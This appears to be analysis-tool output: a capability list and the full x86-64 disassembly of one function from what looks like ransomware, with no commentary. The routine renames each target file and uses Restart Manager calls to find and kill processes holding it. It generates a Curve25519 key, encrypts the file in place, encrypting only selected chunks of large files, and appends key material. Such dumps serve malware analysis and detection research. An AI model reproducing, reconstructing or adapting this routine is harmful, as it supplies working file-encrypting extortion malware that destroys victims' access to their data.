Function at 0x140007810
Capabilities:
Create restart manager session
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push rbp
push rdi
push r12
lea rbp, [rsp - 0x2bc0]
mov eax, 0x2cc0
call fcn.14000ceb0
sub rsp, rax
mov rax, qword [0x14000e398]
xor rax, rsp
mov qword [rbp + 0x2ba0], rax
movdqa xmm0, xmmword [0x140003ce0]
xor eax, eax
mov qword [rbp + 0x2b31], rax
mov qword [rbp + 0x2b39], rax
mov qword [rbp + 0x2b41], rax
lea edi, [rax + 1]
mov dword [rbp + 0x2b49], eax
mov word [rbp + 0x2b4d], ax
lea edx, [rdi + 0x7f]
mov byte [rbp + 0x2b4f], al
movabs rax, 0x6420676e756f6863
mov qword [rbp - 0x28], rax
movabs rax, 0x2121676f6420746f
mov qword [rbp - 0x10], rax
mov qword [rsp + 0x40], rcx
mov byte [rbp + 0x2b30], 9
movdqa xmmword [rbp - 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 7
movsxd rcx, eax
add rcx, rcx
call fcn.14000cad0
mov r12, rax
test rax, rax
je 0x140007f4d
mov rdx, qword [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x2ce8], rbx
mov qword [rsp + 0x2cf0], rsi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140003ae0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, qword [rsp + 0x40]
lea r8d, [rdi + 8]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x140008187
mov qword [rsp + 0x2cf8], r13
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov r13d, 3
mov dword [rsp + 0x28], 0x8000000
xor r9d, r9d
mov qword [rsp + 0x2cb8], r14
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], r13d
mov rcx, r12
mov qword [rsp + 0x2cb0], r15
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, r12
mov r14, rax
call fcn.14000cb00
cmp r14, 0xffffffffffffffff
jne 0x140007cc1
nop
test edi, edi
je 0x140007f68
xor edx, edx
lea rcx, [rbp + 0x2b50]
lea r8d, [rdx + 0x42]
call fcn.14000cb90
lea r8, [rbp + 0x2b50]
xor edx, edx
lea rcx, [rsp + 0x50]
call sub.RstrtMgr.DLL_RmStartSession
test eax, eax
mov ecx, ebx
sete cl
test ecx, ecx
je 0x140007e8b
mov ecx, dword [rsp + 0x50]
lea r8, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 1]
call sub.RstrtMgr.DLL_RmRegisterResources
test eax, eax
mov ecx, ebx
sete cl
test ecx, ecx
je 0x140007be1
mov ecx, dword [rsp + 0x50]
lea rax, [rsp + 0x58]
lea r9, [rbp + 0x1110]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x4c]
mov dword [rsp + 0x4c], 0xa
lea rdx, [rsp + 0x5c]
call sub.RstrtMgr.DLL_RmGetList
test eax, eax
mov ecx, ebx
sete cl
test ecx, ecx
je 0x140007b55
mov r15d, ebx
cmp dword [rsp + 0x4c], ebx
jbe 0x140007c7b
mov eax, r15d
imul rsi, rax, 0x29c
mov eax, dword [rbp + rsi + 0x139c]
cmp eax, 4
je 0x140007b42
cmp eax, 0x3e8
je 0x140007b42
mov edi, dword [rbp + rsi + 0x1110]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, edi
je 0x140007b42
mov r8d, edi
xor edx, edx
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140007aa0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0x1388
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140007b42
cmp dword [0x14000e470], ebx
je 0x140007b42
lea r14, [rbp + 0x111c]
add r14, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rbx
mov r8, r14
mov qword [rsp + 0x30], rbx
mov r9d, eax
mov dword [rsp + 0x28], ebx
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.14000cad0
mov rcx, r14
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rbx
mov r8, r14
mov qword [rsp + 0x30], rbx
mov r9d, eax
mov dword [rsp + 0x28], edi
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rsi
lea rcx, [0x140003af0]
mov r8d, eax
call fcn.140005020
mov rcx, rsi
call fcn.14000cb00
inc r15d
cmp r15d, dword [rsp + 0x4c]
jb 0x140007a26
jmp 0x140007c7b
cmp dword [0x14000e470], ebx
je 0x140007c7b
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.14000cad0
mov rcx, qword [rsp + 0x40]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [0x140003b08]
jmp 0x140007c68
cmp dword [0x14000e470], ebx
je 0x140007c7b
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.14000cad0
mov rcx, qword [rsp + 0x40]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [0x140003b18]
xor r8d, r8d
mov rdx, rsi
call fcn.140005020
mov rcx, rsi
call fcn.14000cb00
mov ecx, dword [rsp + 0x50]
call sub.RstrtMgr.DLL_RmEndSession
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x8000000
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], r13d
mov rcx, r12
mov edi, ebx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, r12
mov r14, rax
call fcn.14000cb00
cmp r14, 0xffffffffffffffff
je 0x140007970
lea rdx, [rsp + 0x60]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ecx, 0x100000
call fcn.14000cad0
mov r15, rax
test rax, rax
je 0x140008179
mov rcx, qword [0x14000e478]
lea r8, [rbp - 0x70]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
movzx ecx, byte [rbp - 0x51]
lea r8, [rbp + 0x2b30]
and byte [rbp - 0x70], 0xf8
lea rdx, [rbp - 0x70]
and cl, 0x3f
or cl, 0x40
mov byte [rbp - 0x51], cl
lea rcx, [rbp - 0x50]
call fcn.1400059b0
lea r8, str.curvpattern
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.1400059b0
lea r8, [rbp]
mov edx, 0x20
lea rcx, [rsp + 0x70]
call fcn.14000ca00
mov r9d, 0x100
lea rdx, [rbp]
mov r8d, r9d
lea rcx, [rbp + 0x40]
call fcn.1400098b0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x40]
call fcn.140009690
mov edx, 0x40
lea rcx, [rbp]
call fcn.14000b1a0
xor edx, edx
mov dword [rbp - 0x30], eax
lea rcx, [rbp + 0x10c4]
lea r8d, [rdx + 0x40]
call fcn.14000cb90
xor edx, edx
lea rcx, [rbp]
lea r8d, [rdx + 0x40]
call fcn.14000cb90
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x40]
call fcn.14000cb90
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov rcx, qword [rsp + 0x60]
cmp rcx, 0x1400000
jle 0x140007ffc
movabs rax, 0x6666666666666667
imul rcx
mov rsi, rdx
sar rsi, 0x16
mov rax, rsi
shr rax, 0x3f
add rsi, rax
test rsi, rsi
jle 0x14000812e
nop dword [rax + rax]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rbx
mov r8d, 0x100000
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x48]
lea rdx, [rbp + 0x40]
mov r9, r15
mov dword [rsp + 0x20], eax
mov r8, r15
xor ecx, ecx
call fcn.140009930
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea r9, [rsp + 0x54]
mov qword [rsp + 0x20], rbx
mov r8d, 0x100000
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rdi, 0xa00000
xor r9d, r9d
mov rdx, rdi
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
sub rsi, 1
jne 0x140007e00
jmp 0x14000812e
cmp dword [0x14000e470], ebx
je 0x140007f25
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.14000cad0
mov rcx, qword [rsp + 0x40]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor r8d, r8d
lea rcx, [0x140003b38]
mov rdx, rsi
call fcn.140005020
mov rcx, rsi
call fcn.14000cb00
mov r14, qword [rsp + 0x2cb8]
mov r13, qword [rsp + 0x2cf8]
mov r15, qword [rsp + 0x2cb0]
mov rbx, qword [rsp + 0x2ce8]
mov rsi, qword [rsp + 0x2cf0]
mov rcx, qword [rbp + 0x2ba0]
xor rcx, rsp
call fcn.14000ce70
add rsp, 0x2cc0
pop r12
pop rdi
pop rbp
ret
cmp dword [0x14000e470], ebx
je 0x140007f25
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.14000cad0
mov rcx, qword [rsp + 0x40]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rsi
lea rcx, [0x140003b50]
mov r8d, eax
jmp 0x140007f18
cmp rcx, 0x500000
jle 0x1400080a2
movabs rax, 0x5555555555555556
imul rcx
mov rsi, rdx
shr rsi, 0x3f
add rsi, rdx
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rbx
mov r8d, 0x100000
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x48]
lea rdx, [rbp + 0x40]
mov r9, r15
mov dword [rsp + 0x20], eax
mov r8, r15
xor ecx, ecx
call fcn.140009930
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x54]
mov rdx, r15
mov qword [rsp + 0x20], rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rdi, rsi
xor r9d, r9d
mov rdx, rdi
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
sub r13, 1
jne 0x140008020
jmp 0x14000812e
test rcx, rcx
jle 0x14000812e
cmp rcx, 0x40
jle 0x1400080cf
movabs rax, 0x6666666666666667
imul rcx
mov rcx, rdx
sar rcx, 2
mov rax, rcx
shr rax, 0x3f
add rcx, rax
mov r8d, ecx
mov qword [rsp + 0x20], rbx
mov rcx, r14
lea r9, [rsp + 0x48]
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x48]
lea rdx, [rbp + 0x40]
mov r9, r15
mov dword [rsp + 0x20], eax
mov r8, r15
xor ecx, ecx
call fcn.140009930
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x54]
mov rdx, r15
mov qword [rsp + 0x20], rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x10cc
call fcn.14000cb90
mov r9d, 2
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea r9, [rsp + 0x54]
mov qword [rsp + 0x20], rbx
mov r8d, 0x48
lea rdx, [rbp - 0x50]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r15
call fcn.14000cb00
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140007f25
cmp dword [0x14000e470], 0
je 0x140007f3d
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x40]
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.14000cad0
mov rcx, qword [rsp + 0x40]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x38], rbx
mov r9d, eax
mov qword [rsp + 0x30], rbx
mov ecx, 0xfde9
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rsi
lea rcx, [0x140003b78]
mov r8d, eax
call fcn.140005020
mov rcx, rsi
call fcn.14000cb00
jmp 0x140007f3d